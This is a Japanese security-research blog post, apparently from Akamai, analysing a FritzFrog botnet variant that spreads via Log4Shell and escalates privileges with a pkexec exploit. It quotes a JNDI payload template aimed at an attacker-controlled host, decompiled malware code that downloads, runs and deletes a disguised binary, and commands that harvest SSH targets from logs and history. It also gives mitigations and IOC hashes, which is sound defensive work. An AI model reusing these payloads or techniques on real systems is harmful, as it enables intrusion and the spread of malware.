Frog4Shell — FritzFrog ボットネットがワンデイ攻撃を武器に利用
編集・協力:Tricia Howard
エグゼクティブサマリー
Akamai Security Intelligence Group(SIG)は、2021 年の Log4Shell の脆弱性を悪用する FritzFrog ボットネットの新しいバリアントに関する詳細を明らかにしました。
ここ数年で Akamai が観測した FritzFrog 攻撃の件数は 20,000 件を超えており、被害者は 1,500 人以上です。
このマルウェアは、総当たり攻撃によって脆弱な SSH 認証情報を利用し、インターネットに面したサーバーに感染します。新しいバリアントは、侵害されたホスト上の複数のシステムファイルを読み取り、脆弱性がある可能性が高いこの攻撃の潜在的なターゲットを検知します。
この脆弱性は、可能な限り多くの脆弱な Java アプリケーションを標的にすることを試みるブルートフォース方式で悪用されます。
また、このマルウェアには、 CVE-2021-4034(polkit Linux コンポーネントでの権限昇格)を悪用するモジュールも含まれています。このモジュールにより、脆弱なサーバー上でルートとしてマルウェアを実行できるようになります。
- このブログでは、FritzFrog の感染を防止するために役立つ 脅威の痕跡情報(IOC)と追加の緩和策 を取り上げます。
FritzFrog の背景情報
Akamai は、以前に発見した脅威を含め、さまざまな脅威をセンサーのグローバルネットワークを通じて継続的に監視しています。その中には、 FritzFrog ボットネット ( 2020 年に最初に発見)も含まれています。これは、AMD ベースと ARM ベースの両方のマシンをサポートするようにコンパイルされた、高度な Golang ベースのピアツーピアボットネットです。このマルウェアは現在も維持されており、機能が追加、改善され、 年々進化しています 。
FritzFrog は従来、SSH ブルートフォースを使用し、その名のとおりカエルのように活発に跳ね回っていました。その結果、数年で何千ものターゲットが侵害を受けました。侵害された各ホストは FritzFrog のネットワークの一部になり、感染したピアと通信して、情報、ペイロード、設定を共有します。
安定的な維持のおかげで、このマルウェアにはこのブログで説明する追加機能( Log4Shell の悪用の導入など)をはじめとする多くの興味深い機能が備わっています。たとえば、検知の機会を制限するためにディスクへの接触を回避しようとしたり、TOR 経由の通信をサポートしたりします。 さらには、競合するマルウェアを駆除する「アンチウイルス」モジュールも搭載しています。
Log4Shell を感染経路として使用
従来、FritzFrog は SSH ブルートフォースを唯一の感染経路として利用していましたが、このマルウェアの最近のバージョンには新たに Log4Shell の脆弱性の悪用が含まれています。これは、私たちの界隈では「Frog4Shell」と呼ばれています。
この Log4Shell の脆弱性は 2021 年 12 月に初めて特定され、業界全体で数か月にわたるパッチ適用の嵐を巻き起こしました。2 年経った現在でも、これに対して脆弱である可能性のあるインターネットに面したアプリケーションが多数存在します。
インターネットに面した脆弱な資産は深刻な問題ですが、FritzFrog は実際には、内部ホストという別のタイプの資産にリスクをもたらします。この脆弱性が初めて発見されたとき、インターネットに面したアプリケーションは重大な侵害リスクがあるため、優先的にパッチが適用されました。 逆に、悪用される可能性が低い内部マシンは多くの場合無視され、パッチが適用されないままとなりました。FritzFrog はこの状況を利用します。
このマルウェアは、拡散ルーチンの一環として、内部ネットワーク内のすべてのホストを標的にしようとします。これは標準的な Go 関数である net__Interface_Addrs の呼び出しによって行われ、到達可能なサブネットを特定し、各サブネット内の可能なアドレスをターゲットにします。図 1 では、マルウェアがローカルネットワーク内のすべてのアドレスに接続しようとしていることがわかります。
つまり、インターネットに面した「ハイプロファイル」のアプリケーションにパッチが適用されていても、FritzFrog によってネットワーク内の資産が侵害されると、パッチが適用されていない内部資産が悪用される可能性があります。
FritzFrog は、ポート 8080、8090、8888、9000 を介して HTTP サーバーを検索することにより、Log4Shell の潜在的なターゲットを特定します。この脆弱性をトリガーするためには、攻撃者は脆弱な log4j アプリケーションに、ペイロードを含むデータを記録させる必要があります(表 1)。
${jndi:ldap://<attacker_address>/<payload>}
表 1:Log4Shell ペイロードの例
このペイロードは、脆弱な log4j ライブラリーによって正しく解析されず、Java アプリケーションを「attacker_address」で指定された LDAP サーバーに接続させて、Java クラスをダウンロードさせ、それを実行させます(図 2)。
FritzFrog は、HTTP ヘッダーを介してペイロードを挿入することで、この脆弱性を悪用しようとします(図 3)。これは、特定の HTTP ヘッダーを正確にターゲットにするのではなく、すべての HTTP ヘッダーをターゲットにするという興味深い方法で実行されます。
FritzFrog は、Log4Shell ペイロードを多数の HTTP ヘッダーに送信します。その際、少なくとも 1 つのヘッダーがアプリケーションによって記録されればよいと考えています。このブルートフォース攻撃のアプローチは、さまざまなアプリケーションに影響を与える可能性のある一般的な Log4Shell の脆弱性の悪用を目的としています。
図 3 に示されているペイロードの挿入により、アプリケーションは FritzFrog 独自の IP アドレスに接続されます。このマルウェアは、悪性の Java クラスを提供するために使用される独自の LDAP サーバーをホストします。実行時に、この Java クラスは HTTP 経由で攻撃マシンに接続し、「robots.txt」という名前でホストされているマルウェアバイナリーをダウンロードします(表 2)。
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
表 2:逆コンパイルされた Log4Shell Java ペイロードが FritzFrog バイナリーをダウンロード
「robots.txt」ファイルは「ifconfig」という名前で保存されます。この Java クラスは ifconfig バイナリーを実行し、ファイルを削除します(表 3)。
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
表 3:逆コンパイルされた Log4Shell Java ペイロードが FritzFrog バイナリーを実行
図 4 は、FritzFrog が使用する Log4Shell の悪用フローを示したものです。
SSH ターゲット検出方法
Log4Shell の悪用を追加したことに加え、FritzFrog は主な感染経路である SSH ブルートフォースの標的を特定する機能も改善しました。ランダムに生成された IP アドレスをターゲットにし続ける一方で、 FritzFrog は各被害者のシステムログをいくつか列挙して、特定の SSH ターゲットの特定も試みます。
auth ログ
Linux の auth.log ファイルには、マシンへの接続に関する情報などが含まれます。FritzFrog はこれらのログをスキャンして IP アドレスを検索することで、ネットワーク内のアクティブなクライアントをターゲットにします。このデータにアクセスするために、次のコマンドを実行します。
cat /var/log/auth*
zcat /var/log/auth*
これらのコマンドは、すべてのクリアテキストおよび圧縮ログファイルの内容を出力します。
SSH の既知のホスト
ホストがリモート SSH サーバーに接続すると、接続情報が自動的に ~/.ssh/known_hosts ファイルに保存されます。FritzFrog はこれらのホストのアドレスを抽出してターゲットにします。
これにより、このマルウェアにアクティブな SSH サーバーと到達可能な SSH サーバーのリストが提供されます。さらに、これらのサーバーは侵害されたサーバーと同じ所有者によって管理されている可能性があるため、同様の脆弱なパスワードを共有している場合があります。
履歴ファイル
Linux システムで実行されるすべてのコマンドは、 履歴ファイルと呼ばれる特別なログに保存されます。FritzFrog は次のコマンドを実行し、過去の ssh 接続および scp 接続を特定しようとします。
history | grep -E \"(scp|ssh)\"
次に、FritzFrog はこれらのコマンドから IP アドレスを抽出し、ターゲットにします。 known_hosts ファイルと同様に、これによってアクティブな SSH サーバーと到達可能な SSH サーバーのリストがもたらされます。
権限昇格
また、このマルウェアに権限昇格機能が追加されたことも確認されました。FritzFrog は最初の実行時にプロセスの権限をチェックします。実行中のユーザーが root でない場合は、「main_RunBlasty」という関数が呼び出されます(図 5)。
「RunBlasty」関数は、「which」コマンドの実行から始まります。これは、システム上の他のコマンドのフルパスを見つけられるようにするユーティリティーです(図 6)。
マルウェアが pkexec バイナリーの場所を見つけようとすることがわかります。(嫌な予感がしませんか?)
その後、マルウェアは独自の実行可能ファイル内に埋め込まれた 2 つのファイルを抽出します(図 7)。このファイルは文字列として格納されており、Base64 でエンコードされた gzip ファイルです。抽出されたファイルは、 blasty と payload.so と呼ばれます。
ファイルを作成すると、FritzFrog が blasty を実行します。これは、C で書かれた ELF です。コードを見てみると、非常にシンプルであることがわかります。環境変数とのインタラクションの後に pkexec が実行されます(図 8)。
これらの文字列を検索すると、すぐに このエクスプロイトコード (対象: CVE-2021-4034)が見つかります。 polkit Linux コンポーネントに存在するこの脆弱性は、 2022 年に Qualys が開示したものであり、polkit を実行していたあらゆる Linux マシンで権限昇格が可能になる可能性がありました。 ほとんどの Linux ディストリビューションにデフォルトでインストールされているため、パッチが適用されていない多くのマシンは現在でもこの CVE に対して脆弱です。
この脆弱性は、 pkexec は SUID プログラムであるという事実を悪用することで機能します。つまり、脆弱なユーザーが実行した場合でも、root 権限で実行されるということです。この脆弱性により、 pkexec に攻撃者が制御するライブラリーのロードと実行を行わせて、コードをルートとして実行することが可能になります。
Blasty はこの脆弱性を悪用して、 pkexec に payload.so のロードと実行を行わせます。図 9 のとおり、このライブラリーはプロセスの uid と gid を 0 に設定し(root を意味)、 root_update (FritzFrog のバイナリー)を実行します。
もう 1 つの興味深い点は、 blasty と payload.so が、AMD64 アーキテクチャ向けにも、ARM 上で実行される FritzFrog バリアント向けにもコンパイルされていることです。これは、AMD64 CPU で実行されないマシンでは、この脆弱性の悪用は実行されないことを意味します。
防御回避
FritzFrog は、隠れた状態を維持して検知を回避するための戦術を採用し続けています。特に、可能であればファイルをディスクにドロップしないように細心の注意を払う必要があります。これを実現するために、開発者は 2 つの Linux 機能を使用しています。それは、 /dev/shm と memfd_createです。
/dev/shm
1 つ目の方法では、 /dev/shm フォルダー(と共有メモリーを意味する shm )を使用します。これは、システム上のさまざまなプロセス間で効率的に通信できるようにするためのディレクトリーです(図 10)。通常のファイルシステムフォルダーのように見えますが、 /dev/shm は実際には RAM に直接マッピングされており、その下に作成されたすべてのファイルは実際にはディスクに接触しません。
FritzFrog はこのフォルダーを使用して、ファイルを書き込み、それを /dev/shmから実行することで、ファイルレスの実行を可能にします。このアクティビティを監視するためには、マルウェアを実行し、 inotifywait ユーティリティーを使用して /dev/shmでファイル操作を検査します。マルウェアはこのディレクトリーに複数のファイルを書き込みます。たとえば図 8 では、マルウェアがすべての pkexec エクスプロイトファイルを実行前に/dev/shm に書き込んでいます。
memfd_create
2 つ目の方法では、 memfd_create 関数を使用します。man ページでは次のように説明されています。
memfd_create() は匿名ファイルを作成し、それを参照するファイル記述子を返します。このファイルは通常のファイルのように動作するため、変更、短縮、メモリーマップなどが可能です。 ただし、通常のファイルとは異なり、RAM に保存されます。
そのため、前述の方法と同様に、ディスクに接触せずにファイルを作成する便利な方法です。FritzFrog は、マイナーペイロードを実行するときにこの手法を使用します(図 11)。これにより、 memfd_create によって作成された匿名ファイルにペイロードが書き込まれ、実行されます。
緩和
推奨される緩和戦略が 2 つあります。それは、ネットワークセグメンテーションの使用と、一般的なマルウェアの戦術、手法、手順の検知です。
ネットワークセグメンテーションにより、 ラテラルムーブメント(横方向の移動)を阻止し、FritzFrog の潜在的な影響を制限できます。ソフトウェアベースのセグメンテーションは、比較的簡単にスピンアップ(起動および初期化)できるソリューションであり、防御効果が長期間持続します。
Akamai が提供した FritzFrog 検知スクリプト は SSH サーバー上で実行され、次の FritzFrog インジケーターを検索します。
a. nginx、ifconfig、php-fpm、apache2、または libexecという名前のプロセスの実行。その実行可能ファイルはファイルシステム上に存在しなくなっています(以下を参照)
b. ポート 1234 のリッスン
結論
脆弱性の悪用のための戦術の転換 は 2023 年に攻撃者の大きなトレンドとなりました。ワンデイ攻撃とゼロデイ 攻撃が広範に使用 され、組織を侵害する最も効果的な方法の 1 つであることが証明されました。
FritzFrog が脆弱性悪用機能を追加したことは、この方向への同様の変化を示しています。このブログでは、この変化を示す 2 つの追加機能として、Log4Shell の脆弱性を悪用している追加の感染経路と、pkexec エクスプロイトモジュールを取り上げました。このトレンドは今後の FritzFrog バージョンでも継続すると考えられ、マルウェアにさらなる脆弱性悪用機能が追加されるのは時間の問題である可能性が高いです。
Akamai SIG は、この脅威やこれに類似するその他の脅威を継続的に監視し、調査結果を公開します。FritzFrog に関する最新情報やその他のセキュリティに関する調査結果を常に把握するためには、 X(旧 Twitter)で Akamai をフォロー してください。
IOC
FritzFrog バイナリー
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Log4Shell ペイロード
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
「Blasty」pkexec エクスプロイト
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248